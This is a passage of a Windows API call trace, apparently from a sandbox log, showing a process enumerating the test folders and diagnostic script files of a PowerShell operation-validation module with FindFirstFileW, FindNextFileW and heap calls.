ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0242.558] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0242.558] GetProcessHeap () returned 0xc10000 [0242.558] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0242.559] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0242.559] GetProcessHeap () returned 0xc10000 [0242.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0242.559] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0242.559] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0242.559] GetProcessHeap () returned 0xc10000 [0242.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0242.568] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0242.572] GetProcessHeap () returned 0xc10000 [0242.573] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0242.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.576] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0242.576] GetProcessHeap () returned 0xc10000 [0242.576] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0242.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0242.577] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.577] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0242.577] GetProcessHeap () returned 0xc10000 [0242.577] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0242.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0242.578] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.578] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0242.578] GetProcessHeap () returned 0xc10000 [0242.578] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0242.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0242.580] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.580] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0242.580] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0242.580] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0242.581] GetProcessHeap () returned 0xc10000 [0242.581] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0242.581] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0242.581] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0242.581] GetProcessHeap () returned 0xc10000 [0242.581] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0242.581] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0242.581] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0242.581] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0242.581] GetProcessHeap () returned 0xc10000 [0242.582] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0242.583] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0242.583] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0242.583] GetProcessHeap () returned 0xc10000 [0242.583] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0242.584] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0242.584] GetProcessHeap () returned 0xc10000 [0242.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0242.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.586] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.586] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1 [0242.586] GetProcessHeap () returned 0xc10000 [0242.586] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0242.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0242.588] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.588] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0242.588] GetProcessHeap () returned 0xc10000 [0242.588] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0242.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0242.589] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.589] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0242.589] GetProcessHeap () returned 0xc10000 [0242.589] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0242.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0242.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0242.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0242.590] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0242.590] GetProcessHeap () returned 0xc10000 [0242.590] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0242.590] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0242.590] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0242.591] GetProcessHeap () returned 0xc10000 [0242.591] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, 